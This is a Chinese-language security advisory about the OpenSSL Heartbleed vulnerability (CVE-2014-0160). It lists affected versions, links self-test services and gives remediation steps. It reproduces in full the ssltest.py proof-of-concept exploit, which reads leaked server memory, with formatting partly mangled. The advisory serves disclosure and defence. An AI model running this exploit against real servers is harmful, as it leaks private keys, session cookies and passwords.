DEVCORE:OpenSSL CVE-2014-0160 Heartbleed 嚴重漏洞

原始出處

OpenSSL 今天公告了一個極度嚴重的漏洞(CVE-2014-0160),被稱為「Heartbleed」,而他確實也如同心臟噴出血般嚴重。這個漏洞能讓攻擊者從伺服器記憶體中讀取 64 KB 的資料,利用傳送 heartbeat 的封包給伺服器,在封包中控制變數導致 memcpy 函數複製錯誤的記憶體資料,因而擷取記憶體中可能存在的機敏資料。記憶體中最嚴重可能包含 ssl private key、session cookie、使用者密碼等,因此可能因為這樣的漏洞導致伺服器遭到入侵或取得使用者帳號。

詳細的分析可以參閱 existential type crisis : Diagnosis of the OpenSSL Heartbleed Bug

軟體名稱:OpenSSL
影響範圍:1.0.1 至 1.0.1f / 1.0.2-beta
修復版本:1.0.1g / 1.0.2-beta1
影響系統版本
Debian Wheezy (stable), OpenSSL 1.0.1e-2+deb7u4
Ubuntu 12.04.4 LTS, OpenSSL 1.0.1-4ubuntu5.11
CentOS 6.5, OpenSSL 1.0.1e-15
Fedora 18, OpenSSL 1.0.1e-4
OpenBSD 5.3 (OpenSSL 1.0.1c 10 May 2012) and 5.4 (OpenSSL 1.0.1c 10 May 2012)
FreeBSD 10.0 – OpenSSL 1.0.1e 11 Feb 2013
NetBSD 5.0.2 (OpenSSL 1.0.1e)
OpenSUSE 12.2 (OpenSSL 1.0.1c)
OpenSSL 的公告如下:https://www.openssl.org/news/secadv_20140407.txt

A missing bounds check in the handling of the TLS heartbeat extension can be used to reveal up to 64k of memory to a connected client or server.

Only 1.0.1 and 1.0.2-beta releases of OpenSSL are affected including 1.0.1f and 1.0.2-beta1.

如何自我檢測?

要如何測試自己的網站有沒有這樣的漏洞呢?可以利用以下的網站或工具直接查詢。

Heartbleed test http://filippo.io/Heartbleed/
直接輸入 Domain 即可查詢,例如「fbi.gov」。

2014-04-08-openssl-heartbleed-CVE-2014-0160-01-fbi.gov

自我測試工具 http://s3.jspenguin.org/ssltest.py

使用方法直接執行「python ssltest.py ifttt.com」,或是用「-p」指定特定 SSL 連接埠。畫面上會顯示出記憶體資料,可能內含機敏資料例如 private key、session cookie 等。

2014-04-08-openssl-heartbleed-CVE-2014-0160-02-ifttt

原始碼如下:

#!/usr/bin/python

# Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford (jspenguin@jspenguin.org)
# The author disclaims copyright to this source code.

import sys
import struct
import socket
import time
import select
import re
from optparse import OptionParser

options = OptionParser(usage=’%prog server [options]’, description=’Test for SSL heartbeat vulnerability (CVE-2014-0160)’)
options.add_option(‘-p’, ‘–port’, type=’int’, default=443, help=’TCP port to test (default: 443)’)

def h2bin(x):
return x.replace(‘ ‘, ”).replace(‘\n’, ”).decode(‘hex’)

hello = h2bin(”’
16 03 02 00 dc 01 00 00 d8 03 02 53
43 5b 90 9d 9b 72 0b bc 0c bc 2b 92 a8 48 97 cf
bd 39 04 cc 16 0a 85 03 90 9f 77 04 33 d4 de 00
00 66 c0 14 c0 0a c0 22 c0 21 00 39 00 38 00 88
00 87 c0 0f c0 05 00 35 00 84 c0 12 c0 08 c0 1c
c0 1b 00 16 00 13 c0 0d c0 03 00 0a c0 13 c0 09
c0 1f c0 1e 00 33 00 32 00 9a 00 99 00 45 00 44
c0 0e c0 04 00 2f 00 96 00 41 c0 11 c0 07 c0 0c
c0 02 00 05 00 04 00 15 00 12 00 09 00 14 00 11
00 08 00 06 00 03 00 ff 01 00 00 49 00 0b 00 04
03 00 01 02 00 0a 00 34 00 32 00 0e 00 0d 00 19
00 0b 00 0c 00 18 00 09 00 0a 00 16 00 17 00 08
00 06 00 07 00 14 00 15 00 04 00 05 00 12 00 13
00 01 00 02 00 03 00 0f 00 10 00 11 00 23 00 00
00 0f 00 01 01
”’)

hb = h2bin(”’
18 03 02 00 03
01 40 00
”’)

def hexdump(s):
for b in xrange(0, len(s), 16):
lin = [c for c in s[b : b + 16]]
hxdat = ‘ ‘.join(‘%02X’ % ord(c) for c in lin)
pdat = ”.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin) print ' %04x: %-48s %s' % (b, hxdat, pdat) print def recvall(s, length, timeout=5): endtime = time.time() + timeout rdata = '' remain = length while remain > 0:
rtime = endtime – time.time()
if rtime < 0: return None r, w, e = select.select([s], [], [], 5) if s in r: data = s.recv(remain) # EOF? if not data: return None rdata += data remain -= len(data) return rdata def recvmsg(s): hdr = recvall(s, 5) if hdr is None: print 'Unexpected EOF receiving record header - server closed connection' return None, None, None typ, ver, ln = struct.unpack('>BHH’, hdr)
pay = recvall(s, ln, 10)
if pay is None:
print ‘Unexpected EOF receiving record payload – server closed connection’
return None, None, None
print ‘ … received message: type = %d, ver = %04x, length = %d’ % (typ, ver, len(pay))
return typ, ver, pay

def hit_hb(s):
s.send(hb)
while True:
typ, ver, pay = recvmsg(s)
if typ is None:
print ‘No heartbeat response received, server likely not vulnerable’
return False

if typ == 24:
print ‘Received heartbeat response:’
hexdump(pay)
if len(pay) > 3:
print ‘WARNING: server returned more data than it should – server is vulnerable!’
else:
print ‘Server processed malformed heartbeat, but did not return any extra data.’
return True

if typ == 21:
print ‘Received alert:’
hexdump(pay)
print ‘Server returned error, likely not vulnerable’
return False

def main():
opts, args = options.parse_args()
if len(args) < 1: options.print_help() return s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) print 'Connecting...' sys.stdout.flush() s.connect((args[0], opts.port)) print 'Sending Client Hello...' sys.stdout.flush() s.send(hello) print 'Waiting for Server Hello...' sys.stdout.flush() while True: typ, ver, pay = recvmsg(s) if typ == None: print 'Server closed connection without sending Server Hello.' return # Look for server hello done message. if typ == 22 and ord(pay[0]) == 0x0E: break print 'Sending heartbeat request...' sys.stdout.flush() s.send(hb) hit_hb(s) if __name__ == '__main__': main()

應對措施

如果發現自己的伺服器有這樣的漏洞,該怎麼辦呢?

確認自己的 OpenSSL 版本是否在受害範圍
使用 ssltest.py 檢測工具檢測是否含有漏洞
更新 OpenSSL 至 1.0.1g 或 1.0.2-beta2
重開所有與 OpenSSL 函式庫相關之服務
重新產生 SSL Private Key (因為 Private Key 可能藉由漏洞外洩)
將網站舊憑證撤銷
清除所有目前網頁伺服器上的 Session (因為可能遭到竊取)
必要時更換網站內使用者密碼,或是密切追蹤網站是否有帳號盜用的情況發生
詳細討論與建議可以參考 Heartbleed: What is it and what are options to mitigate it?

誰會是目標呢?

真的會有攻擊者利用這樣的攻擊手法嗎?目前在烏雲 wooyun平台上已經滿滿的資安研究員開始回報網站含有 OpenSSL 漏洞。也有駭客在嘗試撰寫更有效的攻擊利用程式,想要藉此把平常打不下來的網站一舉攻陷。

怎樣的站台會是重點目標呢?含有會員機制的網站特別如此,例如 Web Mail、社群網站等等。因此不少企業要多注意了,例如全世界最大的社群網站 Facebook、SlideShare、台灣知名電信公司網站、社交平台、網路銀行、NAS,都會在這波的攻擊範圍之內。如果沒有儘速修復,等到更有效的攻擊程式出現,就真的等著失血了。

小結

就連 OpenSSL 這種歷史悠久而且重要的函式庫,都可能犯這種基本的 C 語言程式設計錯誤,老舊的程式碼一定有不少陳年遺毒,如果沒有徹底清查,類似的心臟噴血事件會不斷上演。大家快點止血吧!

镜像链接:谷歌镜像 | 亚马逊镜像

分类: 科技, 计算机 标签:
  1. heartbleed
    2014年4月10日19:34 | #1
  1. 本文目前尚无任何 trackbacks 和 pingbacks.